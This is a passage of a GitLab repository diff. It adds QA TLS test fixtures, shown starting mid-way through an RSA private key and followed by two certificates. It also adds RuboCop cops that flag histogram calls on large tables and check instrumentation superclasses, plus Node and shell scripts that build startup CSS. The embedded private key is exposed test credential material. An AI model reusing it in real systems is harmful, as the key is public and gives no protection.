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
+-----END RSA PRIVATE KEY-----
+-----BEGIN CERTIFICATE-----
+MIIFLDCCAxQCAQEwDQYJKoZIhvcNAQELBQAwVTELMAkGA1UEBhMCVVMxEzARBgNV
+BAgMCkNhbGlmb3JuaWExFjAUBgNVBAcMDVNhbiBGcmFuY2lzY28xGTAXBgNVBAoM
+EEdpdExhYiBBdXRob3JpdHkwHhcNMjEwMjEyMDc0NTM0WhcNMzEwMjEwMDc0NTM0
+WjBjMQswCQYDVQQGEwJVUzETMBEGA1UECAwKQ2FsaWZvcm5pYTEWMBQGA1UEBwwN
+U2FuIEZyYW5jaXNjbzEWMBQGA1UECgwNR2l0TGFiIENsaWVudDEPMA0GA1UEAwwG
+Q2xpZW50MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAwZHPYiri29q+
+1qDh6ucjKztoZ9I0gqG4skuYs7jxj7jTOG/+rkYUVB+Eltq0m76rWEEA6OFW5Yze
+E+aZOYnLYi31BwhJZI2LHDWUsdDuX936FVr5B7l+nrvARVhhARbfhjFVAljcAmDy
+Q+cSgGxgM5de/KhJ0juU25lhe2rCViuJYUsCWny4pN91KhdLJCoPxQRxFDNKG/+k
+foacxKFwEtgz185xLgNZdydwhiY5yh4+P6rCMYqKAvnl2w6L/dPQmHasWbH4Gdvk
+TGCaxiJ7NBM4Lkv+uZmjHPnBmIdLnt+Yjb/lQmaSPA379yLA4L1n/JucmlUCMpVa
+KcJTPEUzUKM4u705XLqsRVH2YmcWAQH8XPw42Llw5T4fAooR+kyMN/zigPNdw7ZC
+r+2jW5rk95gb8iEbheVaSrGIAWPqcwrSTcna5Khbzy/najf2oAM87h95D2Fhg7eW
+LhoccImcuWEGFrmUGwPwS4Zxr2XeAFim8VVVMx9uGd+5u1AscfZFWKJP3j6FwpDH
+L4I7OXFh34INxluxKQ22+PEcIUkbqpGaLZ5U+ZTw8WOy77oflUkAEu1xoEBah+Nf
+5dr6b+n+8rSddCk3mDsgpDY5E3Uv8/FH2vxRmTpiq8ObdmMbNo9Qf+CpMNg4CG+v
+f96uqj69r3aqG3MEbRdy0UjgdaaeNx0CAwEAATANBgkqhkiG9w0BAQsFAAOCAgEA
+OvEPqiQx5RuiqdVDzNAGGW6SzGoyehwVL0JkYvwHPZ8gOW4XBGl9Dtnkb3M7GeYq
+urZnoplk1uyMnNin2MVA0hRfCwCv7ix56Sh45odpN9scnXsr9I/e6ZfbQB7vFGnV
+NDESsOZKzkydameUBTu9yBk7mlV9jA7LpKipe67doptANURZjF8crmCeTvY3b1cF
+XbFe31FqvKdXeJgZU99kGUSncSS/1dWxbwyZZDBCqWfDlNh7Om+6RB1cMlQfal5z
+hqCYMGBB8YsMY1+l7l8eQDawrZNbs9yE4iqd6FXvss7o02cC1b7moZB+1JhOwwJ1
+wmgXuRiR5ynsb34LjFOicdm4YVmqiqXCW6Pr/DH/pkX8CI3Zu2hjatbgQrkGxXqT
+T1O/o48xwa8MBfviy7gkdCrapBkx0ojNLYNW6NTR3LNT4WYEQWOnqkm73Is9aVCy
+1doL6zG8chvCxLHXtpEMMPkOKpoWjokdCD4K5HAoIqmR904kOM5jCuETTWm0MD0e
+vKeWzck6YDt+zBhCD4k7yqF++d3ufcY2eCmVlwe0wH4srX/e4ni0tBKF25j3xLUA
+U+HI7Wa88zBAp3iN3CD/iWu8LBwTUlmRN8l7bi+O/AaKE08KvtzV5hhZ4c1UJa+N
+d4txM9tqkwMTFTFkRzduwuaIKB3Gaz1IWcOUJe5oO5M=
+-----END CERTIFICATE-----
+-----BEGIN CERTIFICATE-----
+MIIFizCCA3OgAwIBAgIUJBX+SiNuqUYjf33EuMObynTcKx0wDQYJKoZIhvcNAQEL
+BQAwVTELMAkGA1UEBhMCVVMxEzARBgNVBAgMCkNhbGlmb3JuaWExFjAUBgNVBAcM
+DVNhbiBGcmFuY2lzY28xGTAXBgNVBAoMEEdpdExhYiBBdXRob3JpdHkwHhcNMjEw
+MjExMDYyMTUzWhcNMzEwMjA5MDYyMTUzWjBVMQswCQYDVQQGEwJVUzETMBEGA1UE
+CAwKQ2FsaWZvcm5pYTEWMBQGA1UEBwwNU2FuIEZyYW5jaXNjbzEZMBcGA1UECgwQ
+R2l0TGFiIEF1dGhvcml0eTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIB
+ALxpL/dfJwhIWGYK93ovIVj+gqvJI58Sga7eWlp2LpuFQZETjJBA79R0gcwr42ph
+ch1BuxoxkYizM8sqIyFa5aW8SCWmO+IQzedKWZv+UWZg6pG+Fzyp6GO1wmXZdeXw
+xRiXp2qV+rqA8DaL2g1c2u6TB/mcfNTrfsSP3045yQW+4mdNx/g4wBf0dMpHe5DJ
+5jIvowa2O0kesq1UQ1eM9IMNSwW8fMQenV+F41LWE1NO726ksglih9TQjAIrlX6I
+XVmw0lgYegt2G+YQJ68nf2UmvK+C0KqzTZgqmzNMQnuSiJXMnlZvlgdLXTyTWCuq
+tyxp3+Z2Wshk/Cghic2MCm2XwWBIqYGu+20qoPM61c3Rk5++2VOcajD1yCYxVtM2
+akVP/e9arlCdi/CtJh3qvOlj9Uhs6a1UR/ZngpPLOa3r4JazZc04pK7q3ZynmoUL
+oDPF9AKOikvhYKxTYsgZ65VhI3myTBjQFk9qX++z2HF9UImGblqUtckn3eIoI8n2
+wd4pO/OFeFSXpR7jMywCwXTpC8yTTbuVzHEz8H83/qtsbjtw961g4kb8Vzh1zy73
+PFiJNI7hZlP1I5dqNTOAv+GnwiSnF28i7xbdkIfmjYqwcwGhAO7rjifq8ygBH3sF
+0I/6dnw4BvNlSgSJlJ1+2eH1uiaikpuOGtQAttz536dNAgMBAAGjUzBRMB0GA1Ud
+DgQWBBQSNZ46Xu4rfGVIPIQJpduWHJ+AQjAfBgNVHSMEGDAWgBQSNZ46Xu4rfGVI
+PIQJpduWHJ+AQjAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBCwUAA4ICAQC1
+4REbDKF1tdYeCxpmQHXLHu7OkrgKIea6eKxf8mI+ZsJA4iNr3aiZYU5Wm+uAq3mK
+x6mrQRaqoo6JNbie5Tw8fU2c71EO4t3vwB7YOsBtcV0YrMtg316UE0lk+6kL0TRD
+tV7dAGCB3wXZVLPolC26/kecc258p6h4rCJ8Gi6FsIKGBisTFk3QOdLG3DQNulPF
+2bZaJjs/6HqLL+QMdChUfJP3i71LdNxzwXNPbjJ3fm5f9RNeOcWo6oI2fkQArl2i
+vcP/QtuqeOoJusbeL9zaF/EFlOggjkEtzFWCB05d6J7dMKYp5Lg4eMZQHPw6ycdk
+Ek/XTupvBk+8UiXeHLvX6II9zww9+gm3uycPiO/CSPNw4yQBPPGW+30WznbedsuY
+m79rxuq50KYvseJSPv7lw8v77ajQbRQzFi4frAFR+A1g8FArLxdpIptI9E+ekmaB
+UMhCmi17mEuBtj8Hc3VrokTFtAJV6YNIk1X+Q/zLh4TaR5mm6C/82j/ZvkSm5OX7
+TfaayRWDr7AfDKeG5Amt52BmYncsPUXnOofSz5UkqpeOWr0rKn+A7f2BeUP9R2nY
+6DncxYA+yOgU7RpnMBscsW6SkVIMJKFrfeZ1SbvZGRJd4L1PwfeaU+3yEG6oAfMa
+CFquw23nWhjvUlnCe9BaUiEtOJ2ruGjdu2sdvXPcnw==
+-----END CERTIFICATE-----
diff --git a/qa/tls_certificates/client/client.pfx b/qa/tls_certificates/client/client.pfx
new file mode 100644
index 00000000000..6931cfe659a
--- /dev/null
+++ b/qa/tls_certificates/client/client.pfx
Binary files differ
diff --git a/rubocop/cop/usage_data/histogram_with_large_table.rb b/rubocop/cop/usage_data/histogram_with_large_table.rb
new file mode 100644
index 00000000000..961773df55c
--- /dev/null
+++ b/rubocop/cop/usage_data/histogram_with_large_table.rb
@@ -0,0 +1,58 @@
+# frozen_string_literal: true
+
+module RuboCop
+ module Cop
+ module UsageData
+ # This cop checks that histogram method is not used in usage_data.rb files
+ # for models representing large tables, as defined by migration helpers.
+ #
+ # @example
+ #
+ # # bad
+ # histogram(Issue, buckets: 1..100)
+ # histogram(User.active, buckets: 1..100)
+ class HistogramWithLargeTable < RuboCop::Cop::Cop
+ MSG = 'Avoid histogram method on %{model_name}'
+
+ # Match one level const as Issue, Gitlab
+ def_node_matcher :one_level_node, <<~PATTERN
+ (send nil? :histogram
+ `(const {nil? cbase} $_)
+ ...)
+ PATTERN
+
+ # Match two level const as ::Clusters::Cluster, ::Ci::Pipeline
+ def_node_matcher :two_level_node, <<~PATTERN
+ (send nil? :histogram
+ `(const
+ (const {nil? cbase} $_)
+ $_)
+ ...)
+ PATTERN
+
+ def on_send(node)
+ one_level_matches = one_level_node(node)
+ two_level_matches = two_level_node(node)
+
+ return unless Array(one_level_matches).any? || Array(two_level_matches).any?
+
+ class_name = two_level_matches ? two_level_matches.join('::').to_sym : one_level_matches
+
+ if large_table?(class_name)
+ add_offense(node, location: :expression, message: format(MSG, model_name: class_name))
+ end
+ end
+
+ private
+
+ def large_table?(model)
+ high_traffic_models.include?(model.to_s)
+ end
+
+ def high_traffic_models
+ cop_config['HighTrafficModels'] || []
+ end
+ end
+ end
+ end
+end
diff --git a/rubocop/cop/usage_data/instrumentation_superclass.rb b/rubocop/cop/usage_data/instrumentation_superclass.rb
new file mode 100644
index 00000000000..2ff2ed47a23
--- /dev/null
+++ b/rubocop/cop/usage_data/instrumentation_superclass.rb
@@ -0,0 +1,63 @@
+# frozen_string_literal: true
+
+module RuboCop
+ module Cop
+ module UsageData
+ # This cop checks that metric instrumentation classes subclass one of the allowed base classes.
+ #
+ # @example
+ #
+ # # good
+ # class CountIssues < DatabaseMetric
+ # # ...
+ # end
+ #
+ # # bad
+ # class CountIssues < BaseMetric
+ # # ...
+ # end
+ class InstrumentationSuperclass < RuboCop::Cop::Cop
+ MSG = "Instrumentation classes should subclass one of the following: %{allowed_classes}."
+
+ BASE_PATTERN = "(const nil? !#allowed_class?)"
+
+ def_node_matcher :class_definition, <<~PATTERN
+ (class (const _ !#allowed_class?) #{BASE_PATTERN} ...)
+ PATTERN
+
+ def_node_matcher :class_new_definition, <<~PATTERN
+ [!^(casgn {nil? cbase} #allowed_class? ...)
+ !^^(casgn {nil? cbase} #allowed_class? (block ...))
+ (send (const {nil? cbase} :Class) :new #{BASE_PATTERN})]
+ PATTERN
+
+ def on_class(node)
+ class_definition(node) do
+ register_offense(node.children[1])
+ end
+ end
+
+ def on_send(node)
+ class_new_definition(node) do
+ register_offense(node.children.last)
+ end
+ end
+
+ private
+
+ def allowed_class?(class_name)
+ allowed_classes.include?(class_name)
+ end
+
+ def allowed_classes
+ cop_config['AllowedClasses'] || []
+ end
+
+ def register_offense(offense_node)
+ message = format(MSG, allowed_classes: allowed_classes.join(', '))
+ add_offense(offense_node, message: message)
+ end
+ end
+ end
+ end
+end
diff --git a/rubocop/rubocop-usage-data.yml b/rubocop/rubocop-usage-data.yml
index a03f21e491a..2da7b056c2e 100644
--- a/rubocop/rubocop-usage-data.yml
+++ b/rubocop/rubocop-usage-data.yml
@@ -39,6 +39,64 @@ UsageData/LargeTable:
- :arel_table
- :minimum
- :maximum
+UsageData/HistogramWithLargeTable:
+ Enabled: true
+ Include:
+ - 'lib/gitlab/usage_data.rb'
+ - 'ee/lib/ee/gitlab/usage_data.rb'
+ HighTrafficModels: &high_traffic_models # models for all high traffic tables in Migration/UpdateLargeTable
+ - 'AuditEvent'
+ - 'Ci::BuildTraceSection'
+ - 'CommitStatus'
+ - 'Ci::Processable'
+ - 'Ci::Bridge'
+ - 'Ci::Build'
+ - 'GenericCommitStatus'
+ - 'Ci::BuildMetadata'
+ - 'Ci::JobArtifact'
+ - 'Ci::PipelineVariable'
+ - 'Ci::Pipeline'
+ - 'Ci::Stage'
+ - 'Deployment'
+ - 'Event'
+ - 'PushEvent'
+ - 'Issue'
+ - 'MergeRequestDiffCommit'
+ - 'MergeRequestDiffFile'
+ - 'MergeRequestDiff'
+ - 'MergeRequest::Metrics'
+ - 'MergeRequest'
+ - 'NamespaceSetting'
+ - 'Namespace'
+ - 'Group'
+ - 'NoteDiffFile'
+ - 'Note'
+ - 'DiffNote'
+ - 'DiscussionNote'
+ - 'SyntheticNote'
+ - 'LabelNote'
+ - 'MilestoneNote'
+ - 'StateNote'
+ - 'LegacyDiffNote'
+ - 'ProjectAuthorization'
+ - 'Project'
+ - 'ProjectCiCdSetting'
+ - 'ProjectSetting'
+ - 'ProjectFeature'
+ - 'ProtectedBranch'
+ - 'ExportedProtectedBranch'
+ - 'PushEventPayload'
+ - 'ResourceLabelEvent'
+ - 'Route'
+ - 'SentNotification'
+ - 'SystemNoteMetadata'
+ - 'ActsAsTaggableOn::Tagging'
+ - 'Todo'
+ - 'User'
+ - 'UserPreference'
+ - 'UserDetail'
+ - 'Vulnerabilities::Finding'
+ - 'WebHookLog'
UsageData/DistinctCountByLargeForeignKey:
Enabled: true
Include:
@@ -57,3 +115,11 @@ UsageData/DistinctCountByLargeForeignKey:
- 'user_id'
- 'resource_owner_id'
- 'requirement_id'
+UsageData/InstrumentationSuperclass:
+ Enabled: true
+ Include:
+ - 'lib/gitlab/usage/metrics/instrumentations/**/*.rb'
+ AllowedClasses:
+ - :DatabaseMetric
+ - :GenericMetric
+ - :RedisHLLMetric
diff --git a/scripts/frontend/startup_css/clean_css.js b/scripts/frontend/startup_css/clean_css.js
new file mode 100644
index 00000000000..67a0453e816
--- /dev/null
+++ b/scripts/frontend/startup_css/clean_css.js
@@ -0,0 +1,83 @@
+const { memoize, isString, isRegExp } = require('lodash');
+const { parse } = require('postcss');
+const { CSS_TO_REMOVE } = require('./constants');
+
+const getSelectorRemoveTesters = memoize(() =>
+ CSS_TO_REMOVE.map((x) => {
+ if (isString(x)) {
+ return (selector) => x === selector;
+ }
+ if (isRegExp(x)) {
+ return (selector) => x.test(selector);
+ }
+
+ throw new Error(`Unexpected type in CSS_TO_REMOVE content "${x}". Expected String or RegExp.`);
+ }),
+);
+
+const getRemoveTesters = memoize(() => {
+ const selectorTesters = getSelectorRemoveTesters();
+
+ // These are mostly carried over from the previous project
+ // https://gitlab.com/gitlab-org/frontend/gitlab-css-statistics/-/blob/2aa00af25dba08fc71081c77206f45efe817ea4b/lib/gl_startup_extract.js
+ return [
+ (node) => node.type === 'comment',
+ (node) =>
+ node.type === 'atrule' &&
+ (node.params === 'print' ||
+ node.params === 'prefers-reduced-motion: reduce' ||
+ node.name === 'keyframe' ||
+ node.name === 'charset'),
+ (node) => node.selector && node.selectors && !node.selectors.length,
+ (node) => node.selector && selectorTesters.some((fn) => fn(node.selector)),
+ (node) =>
+ node.type === 'decl' &&
+ (node.prop === 'transition' ||
+ node.prop.indexOf('-webkit-') > -1 ||
+ node.prop.indexOf('-ms-') > -1),
+ ];
+});
+
+const getNodesToRemove = (nodes) => {
+ const removeTesters = getRemoveTesters();
+ const remNodes = [];
+
+ nodes.forEach((node) => {
+ if (removeTesters.some((fn) => fn(node))) {
+ remNodes.push(node);
+ } else if (node.nodes?.length) {
+ remNodes.push(...getNodesToRemove(node.nodes));
+ }
+ });
+
+ return remNodes;
+};
+
+const getEmptyNodesToRemove = (nodes) =>
+ nodes
+ .filter((node) => node.nodes)
+ .reduce((acc, node) => {
+ if (node.nodes.length) {
+ acc.push(...getEmptyNodesToRemove(node.nodes));
+ } else {
+ acc.push(node);
+ }
+
+ return acc;
+ }, []);
+
+const cleanCSS = (css) => {
+ const cssRoot = parse(css);
+
+ getNodesToRemove(cssRoot.nodes).forEach((node) => {
+ node.remove();
+ });
+
+ getEmptyNodesToRemove(cssRoot.nodes).forEach((node) => {
+ node.remove();
+ });
+
+ return cssRoot.toResult().css;
+};
+
+module.exports = { cleanCSS };
diff --git a/scripts/frontend/startup_css/constants.js b/scripts/frontend/startup_css/constants.js
new file mode 100644
index 00000000000..5f6189d9e59
--- /dev/null
+++ b/scripts/frontend/startup_css/constants.js
@@ -0,0 +1,106 @@
+const path = require('path');
+const IS_EE = require('../../../config/helpers/is_ee_env');
+
+// controls --------------------------------------------------------------------
+const HTML_TO_REMOVE = [
+ 'style',
+ 'script',
+ 'link[rel="stylesheet"]',
+ '.content-wrapper',
+ '#js-peek',
+ '.modal',
+ '.feature-highlight',
+ // The user has to open up the responsive nav, so we don't need it on load
+ '.top-nav-responsive',
+ // We don't want to capture all the children of a dropdown-menu
+ '.dropdown-menu',
+];
+const CSS_TO_REMOVE = [
+ '.tooltip',
+ '.tooltip.show',
+ '.fa',
+ '.gl-accessibility:focus',
+ '.toasted-container',
+ 'body .toasted-container.bottom-left',
+ '.popover',
+ '.with-performance-bar .navbar-gitlab',
+ '.text-secondary',
+ /\.feature-highlight-popover-content/,
+ /\.commit/,
+ /\.md/,
+ /\.with-performance-bar/,
+];
+const APPLICATION_CSS_PREFIX = 'application';
+const APPLICATION_DARK_CSS_PREFIX = 'application_dark';
+const UTILITIES_CSS_PREFIX = 'application_utilities';
+const UTILITIES_DARK_CSS_PREFIX = 'application_utilities_dark';
+
+// paths -----------------------------------------------------------------------
+const ROOT = path.resolve(__dirname, '../../..');
+const ROOT_RAILS = IS_EE ? path.join(ROOT, 'ee') : ROOT;
+const FIXTURES_FOLDER_NAME = IS_EE ? 'fixtures-ee' : 'fixtures';
+const FIXTURES_ROOT = path.join(ROOT, 'tmp/tests/frontend', FIXTURES_FOLDER_NAME);
+const PATH_SIGNIN_HTML = path.join(FIXTURES_ROOT, 'startup_css/sign-in.html');
+const PATH_ASSETS = path.join(ROOT, 'tmp/startup_css_assets');
+const PATH_STARTUP_SCSS = path.join(ROOT_RAILS, 'app/assets/stylesheets/startup');
+
+// helpers ---------------------------------------------------------------------
+const createMainOutput = ({ outFile, cssKeys, type }) => ({
+ outFile,
+ htmlPaths: [
+ path.join(FIXTURES_ROOT, `startup_css/project-${type}.html`),
+ path.join(FIXTURES_ROOT, `startup_css/project-${type}-legacy-menu.html`),
+ path.join(FIXTURES_ROOT, `startup_css/project-${type}-legacy-sidebar.html`),
+ path.join(FIXTURES_ROOT, `startup_css/project-${type}-signed-out.html`),
+ ],
+ cssKeys,
+ purgeOptions: {
+ safelist: {
+ standard: [
+ 'page-with-icon-sidebar',
+ 'sidebar-collapsed-desktop',
+ // We want to include the root dropdown-menu style since it should be hidden by default
+ 'dropdown-menu',
+ ],
+ // We want to include the identicon backgrounds
+ greedy: [/^bg[0-9]$/],
+ },
+ },
+});
+
+const OUTPUTS = [
+ createMainOutput({
+ type: 'general',
+ outFile: 'startup-general',
+ cssKeys: [APPLICATION_CSS_PREFIX, UTILITIES_CSS_PREFIX],
+ }),
+ createMainOutput({
+ type: 'dark',
+ outFile: 'startup-dark',
+ cssKeys: [APPLICATION_DARK_CSS_PREFIX, UTILITIES_DARK_CSS_PREFIX],
+ }),
+ {
+ outFile: 'startup-signin',
+ htmlPaths: [PATH_SIGNIN_HTML],
+ cssKeys: [APPLICATION_CSS_PREFIX, UTILITIES_CSS_PREFIX],
+ purgeOptions: {
+ safelist: {
+ standard: ['fieldset', 'hidden'],
+ deep: [/login-page$/],
+ },
+ },
+ },
+];
+
+module.exports = {
+ HTML_TO_REMOVE,
+ CSS_TO_REMOVE,
+ APPLICATION_CSS_PREFIX,
+ APPLICATION_DARK_CSS_PREFIX,
+ UTILITIES_CSS_PREFIX,
+ UTILITIES_DARK_CSS_PREFIX,
+ ROOT,
+ PATH_ASSETS,
+ PATH_STARTUP_SCSS,
+ OUTPUTS,
+};
diff --git a/scripts/frontend/startup_css/get_css_path.js b/scripts/frontend/startup_css/get_css_path.js
new file mode 100644
index 00000000000..54078cf3149
--- /dev/null
+++ b/scripts/frontend/startup_css/get_css_path.js
@@ -0,0 +1,22 @@
+const fs = require('fs');
+const path = require('path');
+const { memoize } = require('lodash');
+const { PATH_ASSETS } = require('./constants');
+const { die } = require('./utils');
+
+const listAssetsDir = memoize(() => fs.readdirSync(PATH_ASSETS));
+
+const getCSSPath = (prefix) => {
+ const matcher = new RegExp(`^${prefix}-[^-]+\\.css$`);
+ const cssPath = listAssetsDir().find((x) => matcher.test(x));
+
+ if (!cssPath) {
+ die(
+ `Could not find the CSS asset matching "${prefix}". Have you run "scripts/frontend/startup_css/setup.sh"?`,
+ );
+ }
+
+ return path.join(PATH_ASSETS, cssPath);
+};
+
+module.exports = { getCSSPath };
diff --git a/scripts/frontend/startup_css/get_startup_css.js b/scripts/frontend/startup_css/get_startup_css.js
new file mode 100644
index 00000000000..10e8371df8c
--- /dev/null
+++ b/scripts/frontend/startup_css/get_startup_css.js
@@ -0,0 +1,69 @@
+const fs = require('fs');
+const cheerio = require('cheerio');
+const { mergeWith, isArray } = require('lodash');
+const { PurgeCSS } = require('purgecss');
+const purgeHtml = require('purgecss-from-html');
+const { cleanCSS } = require('./clean_css');
+const { HTML_TO_REMOVE } = require('./constants');
+const { die } = require('./utils');
+
+const cleanHtml = (html) => {
+ const $ = cheerio.load(html);
+
+ HTML_TO_REMOVE.forEach((selector) => {
+ $(selector).remove();
+ });
+
+ return $.html();
+};
+
+const mergePurgeCSSOptions = (...options) =>
+ mergeWith(...options, (objValue, srcValue) => {
+ if (isArray(objValue)) {
+ return objValue.concat(srcValue);
+ }
+
+ return undefined;
+ });
+
+const getStartupCSS = async ({ htmlPaths, cssPaths, purgeOptions }) => {
+ const content = htmlPaths.map((htmlPath) => {
+ if (!fs.existsSync(htmlPath)) {
+ die(`Could not find fixture "${htmlPath}". Have you run the fixtures?`);
+ }
+
+ const rawHtml = fs.readFileSync(htmlPath);
+ const html = cleanHtml(rawHtml);
+
+ return { raw: html, extension: 'html' };
+ });
+
+ const purgeCSSResult = await new PurgeCSS().purge({
+ content,
+ css: cssPaths,
+ ...mergePurgeCSSOptions(
+ {
+ fontFace: true,
+ variables: true,
+ keyframes: true,
+ blocklist: [/:hover/, /:focus/, /-webkit-/, /-moz-focusring-/, /-ms-expand/],
+ safelist: {
+ standard: ['brand-header-logo'],
+ },
+ // By default, PurgeCSS ignores special characters, but our utilities use "!"
+ defaultExtractor: (x) => x.match(/[\w-!]+/g),
+ extractors: [
+ {
+ extractor: purgeHtml,
+ extensions: ['html'],
+ },
+ ],
+ },
+ purgeOptions,
+ ),
+ });
+
+ return purgeCSSResult.map(({ css }) => cleanCSS(css)).join('\n');
+};
+
+module.exports = { getStartupCSS };
diff --git a/scripts/frontend/startup_css/main.js b/scripts/frontend/startup_css/main.js
new file mode 100644
index 00000000000..1e8dcbebae2
--- /dev/null
+++ b/scripts/frontend/startup_css/main.js
@@ -0,0 +1,60 @@
+const { memoize } = require('lodash');
+const { OUTPUTS } = require('./constants');
+const { getCSSPath } = require('./get_css_path');
+const { getStartupCSS } = require('./get_startup_css');
+const { log, die } = require('./utils');
+const { writeStartupSCSS } = require('./write_startup_scss');
+
+const memoizedCSSPath = memoize(getCSSPath);
+
+const runTask = async ({ outFile, htmlPaths, cssKeys, purgeOptions = {} }) => {
+ try {
+ log(`Generating startup CSS for HTML files: ${htmlPaths}`);
+ const generalCSS = await getStartupCSS({
+ htmlPaths,
+ cssPaths: cssKeys.map(memoizedCSSPath),
+ purgeOptions,
+ });
+
+ log(`Writing to startup CSS...`);
+ const startupCSSPath = writeStartupSCSS(outFile, generalCSS);
+ log(`Finished writing to ${startupCSSPath}`);
+
+ return {
+ success: true,
+ outFile,
+ };
+ } catch (e) {
+ log(`ERROR! Unexpected error occurred while generating startup CSS for: ${outFile}`);
+ log(e);
+
+ return {
+ success: false,
+ outFile,
+ };
+ }
+};
+
+const main = async () => {
+ const result = await Promise.all(OUTPUTS.map(runTask));
+ const fullSuccess = result.every((x) => x.success);
+
+ log('RESULTS:');
+ log('--------');
+
+ result.forEach(({ success, outFile }) => {
+ const status = success ? '✓' : 'ⅹ';
+
+ log(`${status}: ${outFile}`);
+ });
+
+ log('--------');
+
+ if (fullSuccess) {
+ log('Done!');
+ } else {
+ die('Some tasks have failed');
+ }
+};
+
+main();
diff --git a/scripts/frontend/startup_css/setup.sh b/scripts/frontend/startup_css/setup.sh
new file mode 100755
index 00000000000..795799bd9fd
--- /dev/null
+++ b/scripts/frontend/startup_css/setup.sh
@@ -0,0 +1,76 @@
+path_public_dir="public"
+path_tmp="tmp"
+path_dest="$path_tmp/startup_css_assets"
+glob_css_dest="$path_dest/application*.css"
+glob_css_src="$path_public_dir/assets/application*.css"
+should_clean=false
+
+should_force() {
+ $1=="force"
+}
+
+has_dest_already() {
+ find $glob_css_dest -quit
+}
+
+has_src_already() {
+ find $glob_css_src -quit
+}
+
+compile_assets() {
+ # We need to build the same test bundle that is built in CI
+ RAILS_ENV=test bundle exec rake rake:assets:precompile
+}
+
+clean_assets() {
+ bundle exec rake rake:assets:clobber
+}
+
+copy_assets() {
+ rm -rf $path_dest
+ mkdir $path_dest
+ cp $glob_css_src $path_dest
+}
+
+echo "-----------------------------------------------------------"
+echo "If you are run into any issues with Startup CSS generation,"
+echo "please check out the feedback issue:"
+echo ""
+echo "https://gitlab.com/gitlab-org/gitlab/-/issues/331812"
+echo "-----------------------------------------------------------"
+
+if [ ! -e $path_public_dir ]; then
+ echo "Could not find '$path_public_dir/'. This script must be run in the root directory of the gitlab project."
+ exit 1
+fi
+
+if [ ! -e $path_tmp ]; then
+ echo "Could not find '$path_tmp/'. This script must be run in the root directory of the gitlab project."
+ exit 1
+fi
+
+if [ "$1" != "force" ] && has_dest_already; then
+ echo "Already found assets for '$glob_css_dest'. Did you want to run this script with 'force' argument?"
+ exit 0
+fi
+
+# If we are in CI, don't recompile things...
+if [ -n "$CI" ]; then
+ if ! has_src_already; then
+ echo "Could not find '$glob_css_src'. Expected these artifacts to be generated by CI pipeline."
+ exit 1
+ fi
+elif has_src_already; then
+ echo "Found '$glob_css_src'. Skipping compile assets..."
+else
+ echo "Starting compile assets process..."
+ compile_assets
